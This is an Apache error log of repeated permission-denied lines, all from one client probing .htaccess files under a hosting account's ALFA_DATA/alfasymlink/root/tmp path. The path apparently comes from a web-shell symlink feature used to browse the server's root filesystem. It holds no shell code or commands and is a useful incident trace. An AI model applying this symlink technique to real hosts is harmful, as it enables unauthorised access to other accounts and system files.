[Mon Oct 26 00:10:21.986646 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9Hdweni0LQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9Hdweni0LQ/' is executable
[Mon Oct 26 00:10:21.986671 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ZS9bRKE_ln/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ZS9bRKE_ln/' is executable
[Mon Oct 26 00:10:21.986685 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TI_LDuVRZp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TI_LDuVRZp/' is executable
[Mon Oct 26 00:10:21.986697 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/HRDPmHzdRv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/HRDPmHzdRv/' is executable
[Mon Oct 26 00:10:21.986708 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WJiRaJProP/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WJiRaJProP/' is executable
[Mon Oct 26 00:10:21.986719 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/VWx0oIa_ha/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/VWx0oIa_ha/' is executable
[Mon Oct 26 00:10:21.986735 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-ZhRwWT/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-ZhRwWT/' is executable
[Mon Oct 26 00:10:21.986753 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pulse-PKdhtXMmr18n/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pulse-PKdhtXMmr18n/' is executable
[Mon Oct 26 00:10:21.986765 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xim55mZdmP/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xim55mZdmP/' is executable
[Mon Oct 26 00:10:21.986811 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/3RwJFJrH4V/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/3RwJFJrH4V/' is executable
[Mon Oct 26 00:10:21.986832 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6mRamnU6vq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6mRamnU6vq/' is executable
[Mon Oct 26 00:10:21.986846 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-q3gB5i/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-q3gB5i/' is executable
[Mon Oct 26 00:10:21.986858 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/QY6TdlpePz/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/QY6TdlpePz/' is executable
[Mon Oct 26 00:10:21.986887 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/5EdmaNv2PN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/5EdmaNv2PN/' is executable
[Mon Oct 26 00:10:21.986902 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-MpBBHk/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-MpBBHk/' is executable
[Mon Oct 26 00:10:21.986968 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/5f_1VQEffJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/5f_1VQEffJ/' is executable
[Mon Oct 26 00:10:21.986989 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/yrMznD9gyg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/yrMznD9gyg/' is executable
[Mon Oct 26 00:10:21.987009 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/i3jxbRrWaA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/i3jxbRrWaA/' is executable
[Mon Oct 26 00:10:21.987022 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/dNfJKz5yvg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/dNfJKz5yvg/' is executable
[Mon Oct 26 00:10:21.987034 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TI2qwhbKGu/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TI2qwhbKGu/' is executable
[Mon Oct 26 00:10:21.987060 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/hPKEt7w1PK/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/hPKEt7w1PK/' is executable
[Mon Oct 26 00:10:21.987097 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-6JeWhp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-6JeWhp/' is executable
[Mon Oct 26 00:10:21.987110 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/C3vvDGRpTf/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/C3vvDGRpTf/' is executable
[Mon Oct 26 00:10:21.987122 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/eTa7v46lM5/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/eTa7v46lM5/' is executable
[Mon Oct 26 00:10:21.987133 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oFkHjdAXTr/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oFkHjdAXTr/' is executable
[Mon Oct 26 00:10:21.987145 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/o1Nn2aP6r8/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/o1Nn2aP6r8/' is executable
[Mon Oct 26 00:10:21.987157 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kEKIbVJwbS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kEKIbVJwbS/' is executable
[Mon Oct 26 00:10:21.987191 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xC1whEdMkq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xC1whEdMkq/' is executable
[Mon Oct 26 00:10:21.987205 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9fqABosYmc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9fqABosYmc/' is executable
[Mon Oct 26 00:10:21.987231 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/lost+found/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/lost+found/' is executable
[Mon Oct 26 00:10:21.987253 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_caOxgALx2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_caOxgALx2/' is executable
[Mon Oct 26 00:10:21.987268 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pN3AQhlNgj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pN3AQhlNgj/' is executable
[Mon Oct 26 00:10:21.987279 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PsRo7Bsa_S/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PsRo7Bsa_S/' is executable
[Mon Oct 26 00:10:21.987293 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-mPfqIM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-mPfqIM/' is executable
[Mon Oct 26 00:10:21.987310 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/OwP99dXZ_b/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/OwP99dXZ_b/' is executable
[Mon Oct 26 00:10:21.987336 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/H3T3qe0a6L/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/H3T3qe0a6L/' is executable
[Mon Oct 26 00:10:21.987350 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/BQ13T2xrrG/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/BQ13T2xrrG/' is executable
[Mon Oct 26 00:10:21.987381 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XZqhtmoMNN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XZqhtmoMNN/' is executable
[Mon Oct 26 00:10:21.987394 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xCPByHeGOe/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xCPByHeGOe/' is executable
[Mon Oct 26 00:10:21.987405 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/m5eQaqt7WO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/m5eQaqt7WO/' is executable
[Mon Oct 26 00:10:21.987417 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/cHkKHvtb84/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/cHkKHvtb84/' is executable
[Mon Oct 26 00:10:21.987435 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-jU4lmI/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-jU4lmI/' is executable
[Mon Oct 26 00:10:21.987447 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/lpa8ZwaWTY/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/lpa8ZwaWTY/' is executable
[Mon Oct 26 00:10:21.987460 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-ZhbUNd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-ZhbUNd/' is executable
[Mon Oct 26 00:10:21.987483 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Ild61SlCM8/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Ild61SlCM8/' is executable
[Mon Oct 26 00:10:21.987500 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oMgCKKTHTN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oMgCKKTHTN/' is executable
[Mon Oct 26 00:10:21.987513 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/zFtYW8EbIo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/zFtYW8EbIo/' is executable
[Mon Oct 26 00:10:21.987531 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/U8bmWQiMp6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/U8bmWQiMp6/' is executable
[Mon Oct 26 00:10:21.987543 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Iq7IAhBBCA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Iq7IAhBBCA/' is executable
[Mon Oct 26 00:10:21.987555 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/b3IROGlFVp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/b3IROGlFVp/' is executable
[Mon Oct 26 00:10:21.987567 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/3tecYTyNge/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/3tecYTyNge/' is executable
[Mon Oct 26 00:10:21.987579 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/GC947gwA7a/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/GC947gwA7a/' is executable
[Mon Oct 26 00:10:21.987640 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-mqjOkx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-mqjOkx/' is executable
[Mon Oct 26 00:10:21.987661 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/IDKGG9qSVX/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/IDKGG9qSVX/' is executable
[Mon Oct 26 00:10:21.987681 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/yIE1_o1ryC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/yIE1_o1ryC/' is executable
[Mon Oct 26 00:10:21.987696 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pSZX5IDLqg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pSZX5IDLqg/' is executable
[Mon Oct 26 00:10:21.987710 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/o3jCljYMJM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/o3jCljYMJM/' is executable
[Mon Oct 26 00:10:21.987729 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9rc35X03xH/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9rc35X03xH/' is executable
[Mon Oct 26 00:10:21.987744 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_UC3eRcjzH/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_UC3eRcjzH/' is executable
[Mon Oct 26 00:10:21.987758 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-E4Si3D/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-E4Si3D/' is executable
[Mon Oct 26 00:10:21.987772 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-ZaH2Al/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-ZaH2Al/' is executable
[Mon Oct 26 00:10:21.987784 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/bYpoGDqHwv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/bYpoGDqHwv/' is executable
[Mon Oct 26 00:10:21.987798 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WGtLrvNEoO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WGtLrvNEoO/' is executable
[Mon Oct 26 00:10:21.987822 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/KPaWqZiNSx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/KPaWqZiNSx/' is executable
[Mon Oct 26 00:10:21.987838 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-QEzZ3O/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-QEzZ3O/' is executable
[Mon Oct 26 00:10:21.987851 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/0sa9T3ad5i/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/0sa9T3ad5i/' is executable
[Mon Oct 26 00:10:21.987876 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Bx1XC6ECXC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Bx1XC6ECXC/' is executable
[Mon Oct 26 00:10:21.987888 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/EB_JgHXTS_/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/EB_JgHXTS_/' is executable
